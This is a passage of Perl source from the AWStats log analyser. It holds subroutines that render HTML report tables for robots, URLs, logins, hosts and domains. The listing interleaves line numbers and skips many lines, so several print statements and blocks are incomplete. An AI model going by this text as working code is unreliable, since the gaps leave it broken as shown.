# TODO Build TotalErrorHits
11395
# if ($Debug) { debug("Total real / shown : $TotalErrorHits / $total_h",2); }
11396
# $rest_h=$TotalErrorHits-$total_h;
11397
# if ($rest_h > 0) {
11399
# if ($TotalErrorHits) { $p=int($rest_h/$TotalErrorHits*1000)/10; }
11400
# print "<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[30]</span></td>";
11401
# print "<td>$rest_h</td>";
11402
# print "<td>...</td>";
11409
#------------------------------------------------------------------------------
11410
# Function: Loops through any defined extra sections and dumps the info to HTML
11415
#------------------------------------------------------------------------------
11416
sub HTMLShowExtraSections{
11417
foreach my $extranum ( 1 .. @ExtraName - 1 ) {
11422
if ( $HTMLOutput{"allextra$extranum"} ) {
11423
if ($Debug) { debug( "ExtraName$extranum", 2 ); }
11424
print "$Center<a name=\"extra$extranum\"> </a><br />";
11425
my $title = $ExtraName[$extranum];
11426
&tab_head( "$title ($Message[77] $MaxNbOfExtra[$extranum])", 19, 0, "extra$extranum");
11427
print "<tr bgcolor=\"#$color_TableBGRowTitle\">";
11428
print "<th>" . $ExtraFirstColumnTitle[$extranum] . "</th>";
11430
if ( $ExtraStatTypes[$extranum] =~ m/P/i ) {
11432
"<th bgcolor=\"#$color_p\" width=\"80\">$Message[56]</th>";
11434
if ( $ExtraStatTypes[$extranum] =~ m/H/i ) {
11436
"<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th>";
11438
if ( $ExtraStatTypes[$extranum] =~ m/B/i ) {
11440
"<th class=\"datasize\" bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th>";
11442
if ( $ExtraStatTypes[$extranum] =~ m/L/i ) {
11443
print "<th width=\"120\">$Message[9]</th>";
11446
$total_p = $total_h = $total_k = 0;
11448
#$max_h=1; foreach (values %_login_h) { if ($_ > $max_h) { $max_h = $_; } }
11449
#$max_k=1; foreach (values %_login_k) { if ($_ > $max_k) { $max_k = $_; } }
11451
if ( $ExtraStatTypes[$extranum] =~ m/P/i ) {
11453
$MaxRowsInHTMLOutput,
11454
$MinHitExtra[$extranum],
11455
\%{ '_section_' . $extranum . '_h' },
11456
\%{ '_section_' . $extranum . '_p' }
11461
$MaxRowsInHTMLOutput,
11462
$MinHitExtra[$extranum],
11463
\%{ '_section_' . $extranum . '_h' },
11464
\%{ '_section_' . $extranum . '_h' }
11467
my %keysinkeylist = ();
11468
foreach my $key (@keylist) {
11469
$keysinkeylist{$key} = 1;
11470
my $firstcol = CleanXSS( DecodeEncodedString($key) );
11471
$total_p += ${ '_section_' . $extranum . '_p' }{$key};
11472
$total_h += ${ '_section_' . $extranum . '_h' }{$key};
11473
$total_k += ${ '_section_' . $extranum . '_k' }{$key};
11476
"<td class=\"aws\">$ExtraFirstColumnFormat[$extranum]</td>",
11477
$firstcol, $firstcol, $firstcol, $firstcol, $firstcol );
11478
if ( $ExtraStatTypes[$extranum] =~ m/P/i ) {
11480
. ${ '_section_' . $extranum . '_p' }{$key} . "</td>";
11482
if ( $ExtraStatTypes[$extranum] =~ m/H/i ) {
11484
. ${ '_section_' . $extranum . '_h' }{$key} . "</td>";
11486
if ( $ExtraStatTypes[$extranum] =~ m/B/i ) {
11489
${ '_section_' . $extranum . '_k' }{$key} )
11492
if ( $ExtraStatTypes[$extranum] =~ m/L/i ) {
11495
${ '_section_' . $extranum . '_l' }{$key}
11497
${ '_section_' . $extranum . '_l' }{$key}, 1 )
11506
# If we ask average or sum, we loop on all other records
11507
if ( $ExtraAddAverageRow[$extranum]
11508
|| $ExtraAddSumRow[$extranum] )
11510
foreach ( keys %{ '_section_' . $extranum . '_h' } ) {
11511
if ( $keysinkeylist{$_} ) { next; }
11512
$total_p += ${ '_section_' . $extranum . '_p' }{$_};
11513
$total_h += ${ '_section_' . $extranum . '_h' }{$_};
11514
$total_k += ${ '_section_' . $extranum . '_k' }{$_};
11520
if ( $ExtraAddAverageRow[$extranum] ) {
11522
print "<td class=\"aws\"><b>$Message[96]</b></td>";
11523
if ( $ExtraStatTypes[$extranum] =~ m/P/i ) {
11525
. ( $count ? Format_Number(( $total_p / $count )) : " " )
11528
if ( $ExtraStatTypes[$extranum] =~ m/H/i ) {
11530
. ( $count ? Format_Number(( $total_h / $count )) : " " )
11533
if ( $ExtraStatTypes[$extranum] =~ m/B/i ) {
11537
? Format_Bytes( $total_k / $count )
11542
if ( $ExtraStatTypes[$extranum] =~ m/L/i ) {
11543
print "<td> </td>";
11549
if ( $ExtraAddSumRow[$extranum] ) {
11551
print "<td class=\"aws\"><b>$Message[102]</b></td>";
11552
if ( $ExtraStatTypes[$extranum] =~ m/P/i ) {
11553
print "<td>" . ($total_p) . "</td>";
11555
if ( $ExtraStatTypes[$extranum] =~ m/H/i ) {
11556
print "<td>" . ($total_h) . "</td>";
11558
if ( $ExtraStatTypes[$extranum] =~ m/B/i ) {
11559
print "<td>" . Format_Bytes($total_k) . "</td>";
11561
if ( $ExtraStatTypes[$extranum] =~ m/L/i ) {
11562
print "<td> </td>";
11572
#------------------------------------------------------------------------------
11573
# Function: Prints the Robot details frame or static page
11578
#------------------------------------------------------------------------------
11579
sub HTMLShowRobots{
11589
print "$Center<a name=\"robots\"> </a><br />\n";
11591
if ( $HTMLOutput{'allrobots'} ) { $title .= "$Message[53]"; }
11592
if ( $HTMLOutput{'lastrobots'} ) { $title .= "$Message[9]"; }
11593
&tab_head( "$title", 19, 0, 'robots' );
11594
print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th>"
11595
. Format_Number(( scalar keys %_robot_h ))
11596
. " $Message[51]</th>";
11597
if ( $ShowRobotsStats =~ /H/i ) {
11599
"<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th>";
11601
if ( $ShowRobotsStats =~ /B/i ) {
11603
"<th class=\"datasize\" bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th>";
11605
if ( $ShowRobotsStats =~ /L/i ) {
11606
print "<th width=\"120\">$Message[9]</th>";
11609
$total_p = $total_h = $total_k = $total_r = 0;
11611
if ( $HTMLOutput{'allrobots'} ) {
11612
&BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'Robot'},
11613
\%_robot_h, \%_robot_h );
11615
if ( $HTMLOutput{'lastrobots'} ) {
11616
&BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'Robot'},
11617
\%_robot_h, \%_robot_l );
11619
foreach my $key (@keylist) {
11620
print "<tr><td class=\"aws\">"
11621
. ( $RobotsHashIDLib{$key} ? $RobotsHashIDLib{$key} : $key )
11623
if ( $ShowRobotsStats =~ /H/i ) {
11625
. Format_Number(( $_robot_h{$key} - $_robot_r{$key} ))
11626
. ( $_robot_r{$key} ? "+$_robot_r{$key}" : "" ) . "</td>";
11628
if ( $ShowRobotsStats =~ /B/i ) {
11629
print "<td>" . Format_Bytes( $_robot_k{$key} ) . "</td>";
11631
if ( $ShowRobotsStats =~ /L/i ) {
11635
? Format_Date( $_robot_l{$key}, 1 )
11642
#$total_p += $_robot_p{$key}||0;
11643
$total_h += $_robot_h{$key};
11644
$total_k += $_robot_k{$key} || 0;
11645
$total_r += $_robot_r{$key} || 0;
11649
# For bots we need to count Totals
11650
my $TotalPagesRobots =
11651
0; #foreach (values %_robot_p) { $TotalPagesRobots+=$_; }
11652
my $TotalHitsRobots = 0;
11653
foreach ( values %_robot_h ) { $TotalHitsRobots += $_; }
11654
my $TotalBytesRobots = 0;
11655
foreach ( values %_robot_k ) { $TotalBytesRobots += $_; }
11656
my $TotalRRobots = 0;
11657
foreach ( values %_robot_r ) { $TotalRRobots += $_; }
11658
$rest_p = 0; #$rest_p=$TotalPagesRobots-$total_p;
11659
$rest_h = $TotalHitsRobots - $total_h;
11660
$rest_k = $TotalBytesRobots - $total_k;
11661
$rest_r = $TotalRRobots - $total_r;
11665
"Total real / shown : $TotalPagesRobots / $total_p - $TotalHitsRobots / $total_h - $TotalBytesRobots / $total_k",
11669
if ( $rest_p > 0 || $rest_h > 0 || $rest_k > 0 || $rest_r > 0 )
11670
{ # All other robots
11672
"<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>";
11673
if ( $ShowRobotsStats =~ /H/i ) { print "<td>".Format_Number($rest_h)."</td>"; }
11674
if ( $ShowRobotsStats =~ /B/i ) {
11675
print "<td>" . ( Format_Bytes($rest_k) ) . "</td>";
11677
if ( $ShowRobotsStats =~ /L/i ) { print "<td> </td>"; }
11681
"* $Message[156]" . ( $TotalRRobots ? " $Message[157]" : "" ) );
11685
#------------------------------------------------------------------------------
11686
# Function: Prints the URL, Entry or Exit details frame or static page
11691
#------------------------------------------------------------------------------
11692
sub HTMLShowURLDetail{
11697
# Call to plugins' function ShowPagesFilter
11699
my $pluginname ( keys %{ $PluginsLoaded{'ShowPagesFilter'} } )
11701
my $function = "ShowPagesFilter_$pluginname";
11704
print "$Center<a name=\"urls\"> </a><br />\n";
11707
&HTMLShowFormFilter( "urlfilter", $FilterIn{'url'}, $FilterEx{'url'} );
11712
if ( $HTMLOutput{'urldetail'} ) {
11713
$title = $Message[19];
11714
$cpt = ( scalar keys %_url_p );
11716
if ( $HTMLOutput{'urlentry'} ) {
11717
$title = $Message[104];
11718
$cpt = ( scalar keys %_url_e );
11720
if ( $HTMLOutput{'urlexit'} ) {
11721
$title = $Message[116];
11722
$cpt = ( scalar keys %_url_x );
11724
&tab_head( "$title", 19, 0, 'urls' );
11725
print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th>";
11726
if ( $FilterIn{'url'} || $FilterEx{'url'} ) {
11727
if ( $FilterIn{'url'} ) {
11728
print "$Message[79] <b>$FilterIn{'url'}</b>";
11730
if ( $FilterIn{'url'} && $FilterEx{'url'} ) { print " - "; }
11731
if ( $FilterEx{'url'} ) {
11732
print "Exclude $Message[79] <b>$FilterEx{'url'}</b>";
11734
if ( $FilterIn{'url'} || $FilterEx{'url'} ) { print ": "; }
11735
print Format_Number($cpt)." $Message[28]";
11736
if ( $MonthRequired ne 'all' ) {
11737
if ( $HTMLOutput{'urldetail'} ) {
11739
"<br />$Message[102]: ".Format_Number($TotalDifferentPages)." $Message[28]";
11743
else { print "$Message[102]: ".Format_Number($cpt)." $Message[28]"; }
11745
if ( $ShowPagesStats =~ /P/i ) {
11747
"<th bgcolor=\"#$color_p\" width=\"80\">$Message[29]</th>";
11749
if ( $ShowPagesStats =~ /B/i ) {
11751
"<th class=\"datasize\" bgcolor=\"#$color_k\" width=\"80\">$Message[106]</th>";
11753
if ( $ShowPagesStats =~ /E/i ) {
11755
"<th bgcolor=\"#$color_e\" width=\"80\">$Message[104]</th>";
11757
if ( $ShowPagesStats =~ /X/i ) {
11759
"<th bgcolor=\"#$color_x\" width=\"80\">$Message[116]</th>";
11762
# Call to plugins' function ShowPagesAddField
11764
my $pluginname ( keys %{ $PluginsLoaded{'ShowPagesAddField'} } )
11767
# my $function="ShowPagesAddField_$pluginname('title')";
11768
# eval("$function");
11769
my $function = "ShowPagesAddField_$pluginname";
11770
&$function('title');
11772
print "<th> </th></tr>\n";
11773
$total_p = $total_k = $total_e = $total_x = 0;
11775
if ( $HTMLOutput{'urlentry'} ) {
11776
&BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'File'}, \%_url_e,
11779
elsif ( $HTMLOutput{'urlexit'} ) {
11780
&BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'File'}, \%_url_x,
11784
&BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'File'}, \%_url_p,
11789
foreach my $key (@keylist) {
11790
if ( $_url_p{$key} > $max_p ) { $max_p = $_url_p{$key}; }
11791
if ( $_url_k{$key} / ( $_url_p{$key} || 1 ) > $max_k ) {
11792
$max_k = $_url_k{$key} / ( $_url_p{$key} || 1 );
11795
foreach my $key (@keylist) {
11796
print "<tr><td class=\"aws\">";
11797
&HTMLShowURLInfo($key);
11803
if ( $max_p > 0 ) {
11805
int( $BarWidth * ( $_url_p{$key} || 0 ) / $max_p ) + 1;
11807
if ( ( $bredde_p == 1 ) && $_url_p{$key} ) { $bredde_p = 2; }
11808
if ( $max_p > 0 ) {
11810
int( $BarWidth * ( $_url_e{$key} || 0 ) / $max_p ) + 1;
11812
if ( ( $bredde_e == 1 ) && $_url_e{$key} ) { $bredde_e = 2; }
11813
if ( $max_p > 0 ) {
11815
int( $BarWidth * ( $_url_x{$key} || 0 ) / $max_p ) + 1;
11817
if ( ( $bredde_x == 1 ) && $_url_x{$key} ) { $bredde_x = 2; }
11818
if ( $max_k > 0 ) {
11821
( ( $_url_k{$key} || 0 ) / ( $_url_p{$key} || 1 ) ) /
11824
if ( ( $bredde_k == 1 ) && $_url_k{$key} ) { $bredde_k = 2; }
11825
if ( $ShowPagesStats =~ /P/i ) {
11826
print "<td>".Format_Number($_url_p{$key})."</td>";
11828
if ( $ShowPagesStats =~ /B/i ) {
11833
$_url_k{$key} / ( $_url_p{$key} || 1 )
11839
if ( $ShowPagesStats =~ /E/i ) {
11841
. ( $_url_e{$key} ? Format_Number($_url_e{$key}) : " " ) . "</td>";
11843
if ( $ShowPagesStats =~ /X/i ) {
11845
. ( $_url_x{$key} ? Format_Number($_url_x{$key}) : " " ) . "</td>";
11848
# Call to plugins' function ShowPagesAddField
11849
foreach my $pluginname (
11850
keys %{ $PluginsLoaded{'ShowPagesAddField'} } )
11853
# my $function="ShowPagesAddField_$pluginname('$key')";
11854
# eval("$function");
11855
my $function = "ShowPagesAddField_$pluginname";
11858
print "<td class=\"aws\">";
11860
# alt and title are not provided to reduce page size
11861
if ( $ShowPagesStats =~ /P/i ) {
11863
"<img src=\"$DirIcons\/other\/$BarPng{'hp'}\" width=\"$bredde_p\" height=\"4\" /><br />";
11865
if ( $ShowPagesStats =~ /B/i ) {
11867
"<img src=\"$DirIcons\/other\/$BarPng{'hk'}\" width=\"$bredde_k\" height=\"4\" /><br />";
11869
if ( $ShowPagesStats =~ /E/i ) {
11871
"<img src=\"$DirIcons\/other\/$BarPng{'he'}\" width=\"$bredde_e\" height=\"4\" /><br />";
11873
if ( $ShowPagesStats =~ /X/i ) {
11875
"<img src=\"$DirIcons\/other\/$BarPng{'hx'}\" width=\"$bredde_x\" height=\"4\" />";
11877
print "</td></tr>\n";
11878
$total_p += $_url_p{$key};
11879
$total_e += $_url_e{$key};
11880
$total_x += $_url_x{$key};
11881
$total_k += $_url_k{$key};
11886
"Total real / shown : $TotalPages / $total_p - $TotalEntries / $total_e - $TotalExits / $total_x - $TotalBytesPages / $total_k",
11890
my $rest_p = $TotalPages - $total_p;
11891
my $rest_k = $TotalBytesPages - $total_k;
11892
my $rest_e = $TotalEntries - $total_e;
11893
my $rest_x = $TotalExits - $total_x;
11894
if ( $rest_p > 0 || $rest_e > 0 || $rest_k > 0 ) {
11896
"<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>";
11897
if ( $ShowPagesStats =~ /P/i ) {
11898
print "<td>" . ( $rest_p ? Format_Number($rest_p) : " " ) . "</td>";
11900
if ( $ShowPagesStats =~ /B/i ) {
11904
? Format_Bytes( $rest_k / ( $rest_p || 1 ) )
11909
if ( $ShowPagesStats =~ /E/i ) {
11910
print "<td>" . ( $rest_e ? Format_Number($rest_e) : " " ) . "</td>";
11912
if ( $ShowPagesStats =~ /X/i ) {
11913
print "<td>" . ( $rest_x ? Format_Number($rest_x) : " " ) . "</td>";
11916
# Call to plugins' function ShowPagesAddField
11917
foreach my $pluginname ( keys %{ $PluginsLoaded{'ShowPagesAddField'} } )
11919
my $function = "ShowPagesAddField_$pluginname";
11922
print "<td> </td></tr>\n";
11928
#------------------------------------------------------------------------------
11929
# Function: Prints the Login details frame or static page
11934
#------------------------------------------------------------------------------
11935
sub HTMLShowLogins{
11942
print "$Center<a name=\"logins\"> </a><br />\n";
11944
if ( $HTMLOutput{'alllogins'} ) { $title .= "$Message[94]"; }
11945
if ( $HTMLOutput{'lastlogins'} ) { $title .= "$Message[9]"; }
11946
&tab_head( "$title", 19, 0, 'logins' );
11947
print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th>$Message[94] : "
11948
. Format_Number(( scalar keys %_login_h )) . "</th>";
11949
&HTMLShowUserInfo('__title__');
11950
if ( $ShowAuthenticatedUsers =~ /P/i ) {
11952
"<th bgcolor=\"#$color_p\" width=\"80\">$Message[56]</th>";
11954
if ( $ShowAuthenticatedUsers =~ /H/i ) {
11956
"<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th>";
11958
if ( $ShowAuthenticatedUsers =~ /B/i ) {
11960
"<th class=\"datasize\" bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th>";
11962
if ( $ShowAuthenticatedUsers =~ /L/i ) {
11963
print "<th width=\"120\">$Message[9]</th>";
11966
$total_p = $total_h = $total_k = 0;
11968
if ( $HTMLOutput{'alllogins'} ) {
11969
&BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'Host'},
11970
\%_login_h, \%_login_p );
11972
if ( $HTMLOutput{'lastlogins'} ) {
11973
&BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'Host'},
11974
\%_login_h, \%_login_l );
11976
foreach my $key (@keylist) {
11977
print "<tr><td class=\"aws\">$key</td>";
11978
&HTMLShowUserInfo($key);
11979
if ( $ShowAuthenticatedUsers =~ /P/i ) {
11981
. ( $_login_p{$key} ? Format_Number($_login_p{$key}) : " " )
11984
if ( $ShowAuthenticatedUsers =~ /H/i ) {
11985
print "<td>".Format_Number($_login_h{$key})."</td>";
11987
if ( $ShowAuthenticatedUsers =~ /B/i ) {
11988
print "<td>" . Format_Bytes( $_login_k{$key} ) . "</td>";
11990
if ( $ShowAuthenticatedUsers =~ /L/i ) {
11994
? Format_Date( $_login_l{$key}, 1 )
12000
$total_p += $_login_p{$key} || 0;
12001
$total_h += $_login_h{$key};
12002
$total_k += $_login_k{$key} || 0;
12007
"Total real / shown : $TotalPages / $total_p - $TotalHits / $total_h - $TotalBytes / $total_h",
12011
$rest_p = $TotalPages - $total_p;
12012
$rest_h = $TotalHits - $total_h;
12013
$rest_k = $TotalBytes - $total_k;
12014
if ( $rest_p > 0 || $rest_h > 0 || $rest_k > 0 )
12015
{ # All other logins and/or anonymous
12017
"<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[125]</span></td>";
12018
&HTMLShowUserInfo('');
12019
if ( $ShowAuthenticatedUsers =~ /P/i ) {
12020
print "<td>" . ( $rest_p ? Format_Number($rest_p) : " " ) . "</td>";
12022
if ( $ShowAuthenticatedUsers =~ /H/i ) {
12023
print "<td>".Format_Number($rest_h)."</td>";
12025
if ( $ShowAuthenticatedUsers =~ /B/i ) {
12026
print "<td>" . Format_Bytes($rest_k) . "</td>";
12028
if ( $ShowAuthenticatedUsers =~ /L/i ) {
12029
print "<td> </td>";
12037
#------------------------------------------------------------------------------
12038
# Function: Prints the Unknown IP/Host details frame or static page
12043
#------------------------------------------------------------------------------
12044
sub HTMLShowHostsUnknown{
12051
print "$Center<a name=\"unknownip\"> </a><br />\n";
12052
&tab_head( "$Message[45]", 19, 0, 'unknownwip' );
12053
print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th>"
12054
. Format_Number(( scalar keys %_host_h ))
12055
. " $Message[1]</th>";
12056
&HTMLShowHostInfo('__title__');
12057
if ( $ShowHostsStats =~ /P/i ) {
12059
"<th bgcolor=\"#$color_p\" width=\"80\">$Message[56]</th>";
12061
if ( $ShowHostsStats =~ /H/i ) {
12063
"<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th>";
12065
if ( $ShowHostsStats =~ /B/i ) {
12067
"<th class=\"datasize\" bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th>";
12069
if ( $ShowHostsStats =~ /L/i ) {
12070
print "<th width=\"120\">$Message[9]</th>";
12073
$total_p = $total_h = $total_k = 0;
12075
&BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'Host'}, \%_host_h,
12077
foreach my $key (@keylist) {
12078
my $host = CleanXSS($key);
12079
print "<tr><td class=\"aws\">$host</td>";
12080
&HTMLShowHostInfo($key);
12081
if ( $ShowHostsStats =~ /P/i ) {
12083
. ( $_host_p{$key} ? Format_Number($_host_p{$key}) : " " )
12086
if ( $ShowHostsStats =~ /H/i ) {
12087
print "<td>".Format_Number($_host_h{$key})."</td>";
12089
if ( $ShowHostsStats =~ /B/i ) {
12090
print "<td>" . Format_Bytes( $_host_k{$key} ) . "</td>";
12092
if ( $ShowHostsStats =~ /L/i ) {
12096
? Format_Date( $_host_l{$key}, 1 )
12102
$total_p += $_host_p{$key};
12103
$total_h += $_host_h{$key};
12104
$total_k += $_host_k{$key} || 0;
12109
"Total real / shown : $TotalPages / $total_p - $TotalHits / $total_h - $TotalBytes / $total_h",
12113
$rest_p = $TotalPages - $total_p;
12114
$rest_h = $TotalHits - $total_h;
12115
$rest_k = $TotalBytes - $total_k;
12116
if ( $rest_p > 0 || $rest_h > 0 || $rest_k > 0 )
12117
{ # All other visitors (known or not)
12119
"<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[82]</span></td>";
12120
&HTMLShowHostInfo('');
12121
if ( $ShowHostsStats =~ /P/i ) {
12122
print "<td>" . ( $rest_p ? Format_Number($rest_p) : " " ) . "</td>";
12124
if ( $ShowHostsStats =~ /H/i ) { print "<td>".Format_Number($rest_h)."</td>"; }
12125
if ( $ShowHostsStats =~ /B/i ) {
12126
print "<td>" . Format_Bytes($rest_k) . "</td>";
12128
if ( $ShowHostsStats =~ /L/i ) { print "<td> </td>"; }
12135
#------------------------------------------------------------------------------
12136
# Function: Prints the Host details frame or static page
12141
#------------------------------------------------------------------------------
12149
print "$Center<a name=\"hosts\"> </a><br />\n";
12152
&HTMLShowFormFilter( "hostfilter", $FilterIn{'host'},
12153
$FilterEx{'host'} );
12158
if ( $HTMLOutput{'allhosts'} ) {
12159
$title .= "$Message[81]";
12160
$cpt = ( scalar keys %_host_h );
12162
if ( $HTMLOutput{'lasthosts'} ) {
12163
$title .= "$Message[9]";
12164
$cpt = ( scalar keys %_host_h );
12166
&tab_head( "$title", 19, 0, 'hosts' );
12167
print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th>";
12168
if ( $FilterIn{'host'} || $FilterEx{'host'} ) { # With filter
12169
if ( $FilterIn{'host'} ) {
12170
print "$Message[79] '<b>$FilterIn{'host'}</b>'";
12172
if ( $FilterIn{'host'} && $FilterEx{'host'} ) { print " - "; }
12173
if ( $FilterEx{'host'} ) {
12174
print " Exlude $Message[79] '<b>$FilterEx{'host'}</b>'";
12176
if ( $FilterIn{'host'} || $FilterEx{'host'} ) { print ": "; }
12177
print "$cpt $Message[81]";
12178
if ( $MonthRequired ne 'all' ) {
12179
if ( $HTMLOutput{'allhosts'} || $HTMLOutput{'lasthosts'} ) {
12181
"<br />$Message[102]: ".Format_Number($TotalHostsKnown)." $Message[82], ".Format_Number($TotalHostsUnknown)." $Message[1] - ".Format_Number($TotalUnique)." $Message[11]";
12185
else { # Without filter
12186
if ( $MonthRequired ne 'all' ) {
12188
"$Message[102] : ".Format_Number($TotalHostsKnown)." $Message[82], ".Format_Number($TotalHostsUnknown)." $Message[1] - ".Format_Number($TotalUnique)." $Message[11]";
12190
else { print "$Message[102] : " . Format_Number(( scalar keys %_host_h )); }
12193
&HTMLShowHostInfo('__title__');
12194
if ( $ShowHostsStats =~ /P/i ) {
12196
"<th bgcolor=\"#$color_p\" width=\"80\">$Message[56]</th>";
12198
if ( $ShowHostsStats =~ /H/i ) {
12200
"<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th>";
12202
if ( $ShowHostsStats =~ /B/i ) {
12204
"<th class=\"datasize\" bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th>";
12206
if ( $ShowHostsStats =~ /L/i ) {
12207
print "<th width=\"120\">$Message[9]</th>";
12210
$total_p = $total_h = $total_k = 0;
12212
if ( $HTMLOutput{'allhosts'} ) {
12213
&BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'Host'}, \%_host_h,
12216
if ( $HTMLOutput{'lasthosts'} ) {
12217
&BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'Host'}, \%_host_h,
12220
foreach my $key (@keylist) {
12221
my $host = CleanXSS($key);
12222
print "<tr><td class=\"aws\">"
12223
. ( $_robot_l{$key} ? '<b>' : '' ) . "$host"
12224
. ( $_robot_l{$key} ? '</b>' : '' ) . "</td>";
12225
&HTMLShowHostInfo($key);
12226
if ( $ShowHostsStats =~ /P/i ) {
12228
. ( $_host_p{$key} ? Format_Number($_host_p{$key}) : " " )
12231
if ( $ShowHostsStats =~ /H/i ) {
12232
print "<td>".Format_Number($_host_h{$key})."</td>";
12234
if ( $ShowHostsStats =~ /B/i ) {
12235
print "<td>" . Format_Bytes( $_host_k{$key} ) . "</td>";
12237
if ( $ShowHostsStats =~ /L/i ) {
12241
? Format_Date( $_host_l{$key}, 1 )
12247
$total_p += $_host_p{$key};
12248
$total_h += $_host_h{$key};
12249
$total_k += $_host_k{$key} || 0;
12254
"Total real / shown : $TotalPages / $total_p - $TotalHits / $total_h - $TotalBytes / $total_h",
12258
$rest_p = $TotalPages - $total_p;
12259
$rest_h = $TotalHits - $total_h;
12260
$rest_k = $TotalBytes - $total_k;
12261
if ( $rest_p > 0 || $rest_h > 0 || $rest_k > 0 )
12262
{ # All other visitors (known or not)
12264
"<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>";
12265
&HTMLShowHostInfo('');
12266
if ( $ShowHostsStats =~ /P/i ) {
12267
print "<td>" . ( $rest_p ? Format_Number($rest_p) : " " ) . "</td>";
12269
if ( $ShowHostsStats =~ /H/i ) { print "<td>".Format_Number($rest_h)."</td>"; }
12270
if ( $ShowHostsStats =~ /B/i ) {
12271
print "<td>" . Format_Bytes($rest_k) . "</td>";
12273
if ( $ShowHostsStats =~ /L/i ) { print "<td> </td>"; }
12280
#------------------------------------------------------------------------------
12281
# Function: Prints the Domains details frame or static page
12286
#------------------------------------------------------------------------------
12287
sub HTMLShowDomains{
12298
print "$Center<a name=\"domains\"> </a><br />\n";
12300
# Show domains list
12303
if ( $HTMLOutput{'alldomains'} ) {
12304
$title .= "$Message[25]";
12305
$cpt = ( scalar keys %_domener_h );
12307
&tab_head( "$title", 19, 0, 'domains' );
12309
"<tr bgcolor=\"#$color_TableBGRowTitle\"><th width=\"$WIDTHCOLICON\"> </th><th colspan=\"2\">$Message[17]</th>";
12310
if ( $ShowDomainsStats =~ /U/i ) {
12312
"<th bgcolor=\"#$color_u\" width=\"80\">$Message[11]</th>";
12314
if ( $ShowDomainsStats =~ /V/i ) {
12316
"<th bgcolor=\"#$color_v\" width=\"80\">$Message[10]</th>";
12318
if ( $ShowDomainsStats =~ /P/i ) {
12320
"<th bgcolor=\"#$color_p\" width=\"80\">$Message[56]</th>";
12322
if ( $ShowDomainsStats =~ /H/i ) {
12324
"<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th>";
12326
if ( $ShowDomainsStats =~ /B/i ) {
12328
"<th class=\"datasize\" bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th>";
12330
print "<th> </th>";
12332
$total_u = $total_v = $total_p = $total_h = $total_k = 0;
12334
foreach ( values %_domener_h ) {
12335
if ( $_ > $max_h ) { $max_h = $_; }
12338
foreach ( values %_domener_k ) {
12339
if ( $_ > $max_k ) { $max_k = $_; }
12342
&BuildKeyList( $MaxRowsInHTMLOutput, 1, \%_domener_h,
12344
foreach my $key (@keylist) {
12345
my ( $_domener_u, $_domener_v );
12349
if ( $max_h > 0 ) {
12351
int( $BarWidth * $_domener_p{$key} / $max_h ) + 1;
12352
} # use max_h to enable to compare pages with hits
12353
if ( $_domener_p{$key} && $bredde_p == 1 ) { $bredde_p = 2; }
12354
if ( $max_h > 0 ) {
12356
int( $BarWidth * $_domener_h{$key} / $max_h ) + 1;
12358
if ( $_domener_h{$key} && $bredde_h == 1 ) { $bredde_h = 2; }
12359
if ( $max_k > 0 ) {
12361
int( $BarWidth * ( $_domener_k{$key} || 0 ) / $max_k ) +
12364
if ( $_domener_k{$key} && $bredde_k == 1 ) { $bredde_k = 2; }
12365
my $newkey = lc($key);
12366
if ( $newkey eq 'ip' || !$DomainsHashIDLib{$newkey} ) {
12368
"<tr><td width=\"$WIDTHCOLICON\"><img src=\"$DirIcons\/flags\/ip.png\" height=\"14\""
12369
. AltTitle("$Message[0]")
12370
. " /></td><td class=\"aws\">$Message[0]</td><td>$newkey</td>";
12374
"<tr><td width=\"$WIDTHCOLICON\"><img src=\"$DirIcons\/flags\/$newkey.png\" height=\"14\""
12375
. AltTitle("$newkey")
12376
. " /></td><td class=\"aws\">$DomainsHashIDLib{$newkey}</td><td>$newkey</td>";
12378
## to add unique visitors and number of visits, by Josep Ruano @ CAPSiDE
12379
if ( $ShowDomainsStats =~ /U/i ) {
12382
? $_domener_p{$key} / $TotalPages
12385
$_domener_u += ( $_domener_h{$key} / $TotalHits );
12387
sprintf( "%.0f", ( $_domener_u * $TotalUnique ) / 2 );
12388
print "<td>".Format_Number($_domener_u)." ("
12389
. sprintf( "%.1f%", 100 * $_domener_u / $TotalUnique )
12392
if ( $ShowDomainsStats =~ /V/i ) {
12395
? $_domener_p{$key} / $TotalPages
12398
$_domener_v += ( $_domener_h{$key} / $TotalHits );
12400
sprintf( "%.0f", ( $_domener_v * $TotalVisits ) / 2 );
12401
print "<td>".Format_Number($_domener_v)." ("
12402
. sprintf( "%.1f%", 100 * $_domener_v / $TotalVisits )
12405
if ( $ShowDomainsStats =~ /P/i ) {
12406
print "<td>".Format_Number($_domener_p{$key})."</td>";
12408
if ( $ShowDomainsStats =~ /H/i ) {
12409
print "<td>".Format_Number($_domener_h{$key})."</td>";
12411
